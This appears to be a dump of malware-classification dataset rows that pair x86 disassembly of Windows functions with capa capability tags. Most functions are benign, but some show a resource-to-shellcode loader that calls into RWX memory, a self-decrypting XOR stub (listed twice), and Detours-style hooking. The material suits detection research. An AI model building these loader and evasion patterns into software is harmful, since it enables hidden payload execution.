joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009680
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
or ecx, 0xffffffff
push edi
test bl, bl
je 0x100096bf
cmp bl, 0x23
jne 0x100096a1
cmp byte [esi], bl
jne 0x100096a1
cmp byte [esi + 1], bl
cmove eax, ecx
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
mov ecx, 0xffffffff
xor eax, dword [edx*4 + 0x10034608]
test bl, bl
jne 0x10009692
mov ecx, dword [0x1003b4d8]
not eax
mov esi, dword [ecx + 0x3f78]
mov edi, dword [ecx + 0x3f80]
lea ebx, [edi + esi*8]
test esi, esi
je 0x100096fe
nop word [eax + eax]
mov edx, esi
shr edx, 1
cmp dword [edi + edx*8], eax
lea ecx, [edi + edx*8]
jae 0x100096f8
lea edi, [ecx + 8]
or ecx, 0xffffffff
sub ecx, edx
add esi, ecx
jmp 0x100096fa
mov esi, edx
test esi, esi
jne 0x100096e0
cmp edi, ebx
je 0x1000970d
cmp dword [edi], eax
jne 0x1000970d
mov eax, dword [edi + 4]
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x1000fec0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1003b040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov esi, 4
mov eax, dword [edi + 0xf4]
mov ebx, dword [edi + 0xfc]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
nop dword [eax + eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x10034608]
sub esi, 1
jne 0x1000ff00
mov eax, dword [edi]
not ebx
cmp dword [eax + 0x3fcc], ebx
jne 0x1000ff37
push ecx
push dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, ebx
call fcn.100190d0
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10031d70
mov esp, ebp
pop ebp
ret 4

Function at 0x1000ff50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1003b040]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov edx, ecx
push esi
push edi
lea esi, [ebp - 0x18]
mov edi, 0x10
movss xmm1, dword [edx + 0x110]
movss xmm0, dword [eax]
movss xmm2, dword [edx + 0x114]
subss xmm0, xmm1
mov ecx, dword [edx + 0xf4]
movss dword [ebp - 0x18], xmm0
movss xmm0, dword [eax + 4]
subss xmm0, xmm2
movss dword [ebp - 0x14], xmm0
movss xmm0, dword [eax + 8]
subss xmm0, xmm1
movss dword [ebp - 0x10], xmm0
movss xmm0, dword [eax + 0xc]
mov eax, dword [edx + 0xfc]
subss xmm0, xmm2
mov edx, dword [eax + ecx*4 - 4]
movss dword [ebp - 0xc], xmm0
not edx
nop dword [eax + eax]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10034608]
sub edi, 1
jne 0x1000ffd0
mov ecx, dword [ebp - 8]
not edx
pop edi
xor ecx, ebp
mov eax, edx
pop esi
call fcn.10031d70
mov esp, ebp
pop ebp
ret 4
Function at 0x10017ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x5e4c], 0
lea esi, [edi + 0x5e50]
je 0x10017b32
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x10017aec
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.10019af0
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.10004080
mov edx, dword [esi]
mov ecx, 0x1003b4cd
push dword [edi + 0x5e4c]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x5e58]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.10004080
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10017f40
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
push edi
mov edi, dword [0x1003b4d8]
test bl, bl
je 0x10017f86
or edi, 0xffffffff
cmp bl, 0x23
jne 0x10017f67
cmp byte [esi], bl
jne 0x10017f67
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x10034608]
test bl, bl
jne 0x10017f58
mov edi, dword [0x1003b4d8]
mov ecx, dword [edi + 0x5df0]
not eax
mov edx, dword [edi + 0x5df8]
pop edi
pop esi
lea ecx, [ecx + ecx*8]
lea ecx, [edx + ecx*4]
pop ebx
cmp edx, ecx
je 0x10017fad
cmp dword [edx + 4], eax
je 0x10017fb0
add edx, 0x24
cmp edx, ecx
jne 0x10017fa1
xor eax, eax
ret
mov eax, edx
ret
Function at 0x10029980
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1003b040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x1003b4d8]
lea eax, [ebp - 0x10]
push esi
push edi
push eax
mov dword [ebp - 0x24], ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x10029b2c
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x10029b2c
push 0x38
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, dword [0x1003b4d8]
add esp, 4
mov edi, eax
test esi, esi
je 0x10029a23
movsx edx, word [esi + 0x5f04]
lea eax, [esi + 0x5f08]
mov ecx, dword [esi + 0x3f10]
lea eax, [eax + edx*8]
cmp dword [eax], ecx
je 0x10029a19
lea eax, [edx + 1]
mov dword [ebp - 0x1c], 6
cdq
idiv dword [ebp - 0x1c]
movzx eax, dx
mov word [esi + 0x5f04], ax
cwde
add eax, 0xbe1
lea eax, [esi + eax*8]
mov dword [eax], ecx
xor ecx, ecx
mov dword [eax + 4], ecx
inc word [eax + 4]
inc dword [esi + 0x5efc]
test edi, edi
je 0x10029a36
push 0x38
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x10029a38
xor edi, edi
or dword [ebx + 0xc], 6
mov dword [ebx + 0x74], edi
mov dword [ebx + 0x6c], str.imgui_impl_win32
mov ebx, dword [ebp - 0x24]
mov dword [edi], ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [edi + 0x18], eax
mov dword [edi + 0x1c], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], ecx
mov dword [edi + 0x20], 9
test esi, esi
je 0x10029a73
mov esi, dword [esi + 0x74]
jmp 0x10029a75
xor esi, esi
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 4
add esi, 0x24
shr eax, 0x10
push esi
push 0x20001004
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x10029a98
mov dword [esi], eax
mov eax, dword [0x1003b4d8]
xor esi, esi
mov dword [ebp - 0x38], str.xinput1_4.dll
mov dword [ebp - 0x34], str.xinput1_3.dll
mov dword [ebp - 0x30], str.xinput9_1_0.dll
mov eax, dword [eax + 0x4a4c]
mov dword [ebp - 0x2c], str.xinput1_2.dll
mov dword [ebp - 0x28], str.xinput1_1.dll
mov eax, dword [eax]
mov dword [eax + 0x28], ebx
mov byte [edi + 0x29], 1
push dword [ebp + esi*4 - 0x38]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
jne 0x10029afa
inc esi
cmp esi, 5
jl 0x10029ad1
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10031d70
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.XInputGetCapabilities
push ebx
mov dword [edi + 0x2c], ebx
call esi
push str.XInputGetState
push ebx
mov dword [edi + 0x30], eax
call esi
mov dword [edi + 0x34], eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10031d70
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10031d70
mov esp, ebp
pop ebp
ret
Function at 0x1002f0a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1002f270
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1002f17d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1002f0ea
mov eax, dword [ebp - 4]
cmp eax, dword [0x1003b004]
ja 0x1002f0ea
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1002f0ba
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1002f10f
jmp 0x1002f17d
cmp dword [ebp - 0x14], 0x10000
jne 0x1002f163
cmp dword [ebp - 0x18], 0x10000
jb 0x1002f163
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1002f146
mov eax, dword [ebp - 8]
jmp 0x1002f17f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1002f156
xor eax, eax
jmp 0x1002f17f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1002f178
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1002f270
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1002f0ba
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1002f190
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1002f2a0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1002f265
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1002f1d5
mov eax, dword [ebp - 4]
cmp eax, dword [0x1003b004]
ja 0x1002f1d5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1002f1a5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1002f1fa
jmp 0x1002f265
cmp dword [ebp - 0x14], 0x10000
jne 0x1002f24e
cmp dword [ebp - 0x18], 0x10000
jb 0x1002f24e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1002f231
mov eax, dword [ebp - 8]
jmp 0x1002f267
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1002f241
xor eax, eax
jmp 0x1002f267
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1002f260
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1002f2a0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1002f1a5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1002f2d0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1002f6c0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x1003b134], 0
jne 0x1002f30d
cmp dword [0x1003b130], 0
je 0x1002f30d
mov eax, dword [0x1003b130]
mov dword [0x1003b134], eax
cmp dword [0x1003b134], 0
je 0x1002f38a
mov ecx, dword [0x1003b134]
cmp dword [ecx + 8], 0
je 0x1002f38a
mov edx, dword [0x1003b134]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1002f38a
mov ecx, dword [0x1003b134]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1002f38a
mov eax, dword [0x1003b134]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x1002f359
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x1002f360
xor eax, eax
jmp 0x1002f4a9
mov ecx, dword [0x1003b134]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x1002f4a9
mov edx, dword [0x1003b130]
mov dword [0x1003b134], edx
jmp 0x1002f3a6
mov eax, dword [0x1003b134]
mov ecx, dword [eax + 4]
mov dword [0x1003b134], ecx
cmp dword [0x1003b134], 0
je 0x1002f3e6
cmp dword [0x1003b134], 0
je 0x1002f3e4
mov edx, dword [0x1003b134]
cmp dword [edx + 8], 0
je 0x1002f3e4
mov eax, dword [0x1003b134]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x1002f3e4
mov edx, dword [0x1003b134]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x1002f3e4
jmp 0x1002f33e
jmp 0x1002f398
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1002f4b0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1002f4a7
mov eax, dword [ebp - 0x18]
mov dword [0x1003b134], eax
mov ecx, dword [0x1003b134]
mov dword [ecx], 0x52727464
mov edx, dword [0x1003b134]
mov dword [edx + 8], 0
mov eax, dword [0x1003b134]
mov ecx, dword [0x1003b130]
mov dword [eax + 4], ecx
mov edx, dword [0x1003b134]
mov dword [0x1003b130], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x1003b134]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x1002f477
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x1002f497
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1002f46e
mov eax, dword [0x1003b134]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1002f33e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100301f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1003b130]
mov dword [ebp - 4], eax
jmp 0x10030209
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10030230
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1003022e
call sub.KERNEL32.dll_GetLastError
jmp 0x10030232
jmp 0x10030200
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100306d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x1003b140], eax
je 0x100306f4
mov eax, 0x10dd
jmp 0x1003089c
cmp dword [0x1003b144], 0
je 0x10030707
mov eax, dword [0x1003b144]
jmp 0x1003089c
cmp dword [ebp + 0xc], 0
jne 0x10030717
mov eax, 0x57
jmp 0x1003089c
cmp dword [ebp + 8], 0
jne 0x10030727
mov eax, 6
jmp 0x1003089c
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x10030750
mov dword [ebp - 8], 6
mov ecx, dword [ebp - 8]
mov dword [0x1003b144], ecx
mov edx, dword [ebp + 8]
mov dword [0x1003b148], edx
mov eax, dword [ebp - 8]
jmp 0x1003089c
push 0x18
call fcn.100324ea
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100307ab
mov dword [ebp - 8], 8
mov ecx, dword [ebp - 8]
mov dword [0x1003b144], ecx
cmp dword [ebp - 4], 0
je 0x1003079a
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
push 0x18
mov eax, dword [ebp - 0x20]
push eax
call fcn.10031ea1
add esp, 8
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [0x1003b148], ecx
mov eax, dword [ebp - 8]
jmp 0x1003089c
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.100306b0
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.100306b0
mov dword [ebp + 0xc], eax
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x36]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x40]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xc], 0
je 0x100307eb
cmp dword [ebp - 0xc], 0x1e
jbe 0x10030807
mov dword [ebp - 8], 9
cmp dword [0x1003b138], 0
je 0x10030802
jmp 0x10030779
jmp 0x10030770
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x44]
cmp ecx, dword [ebp + 0xc]
je 0x1003082e
mov dword [ebp - 8], 9
cmp dword [0x1003b138], 0
je 0x10030829
jmp 0x10030779
jmp 0x10030770
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x10030859
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x10030770
mov edx, dword [ebp - 4]
mov dword [edx + 4], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 4]
mov eax, dword [0x1003b150]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x1003b150], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x100308b0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x1003b140], eax
je 0x100308cd
mov eax, 0x10dd
jmp 0x100309b2
mov eax, dword [0x1003b150]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1003094d
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
nop
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x10030929
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x10030929
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1002f750
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.10031ea1
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x100308d5
mov dword [0x1003b150], 0
call fcn.10030030
nop
mov ecx, dword [0x1003b14c]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1003099c
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10031ea1
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x10030966
mov dword [0x1003b14c], 0
mov dword [0x1003b140], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10030e90
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1003b144], 0
je 0x10030ea9
mov eax, dword [0x1003b144]
jmp 0x10030f48
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x10030eba
xor eax, eax
jmp 0x10030f48
push 8
call fcn.100324ea
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10030f12
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x10030efb
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.10031ea1
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1003b144], eax
mov dword [0x1003b148], 0
mov eax, dword [ebp - 8]
jmp 0x10030f48
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x10030f2a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x10030eda
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1003b14c]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1003b14c], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x403614
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x408038], 0
je 0x40367b
cmp word [0x408324], 0xd7b2
jne 0x40363d
cmp dword [0x40832c], 0
jbe 0x40363d
mov eax, 0x408320
call dword [0x40833c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x4036a8
call fcn.00403870
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x407012], 0
jne 0x403697
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403a68
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x404300
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 2
push 0x404364
mov eax, dword [0x40ab84]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
je 0x40435f
push ebx
mov eax, dword [0x40ab84]
push eax
call sub.kernel32.dll_SizeofResource
mov esi, eax
test esi, esi
je 0x40435f
push ebx
mov eax, dword [0x40ab84]
push eax
call sub.kernel32.dll_LoadResource
test eax, eax
je 0x40435f
push eax
call sub.kernel32.dll_LockResource
mov ebx, eax
test ebx, ebx
je 0x40435f
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push ebx
call sub.kernel32.dll_VirtualProtect
mov eax, ebx
mov ebx, eax
call ebx
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx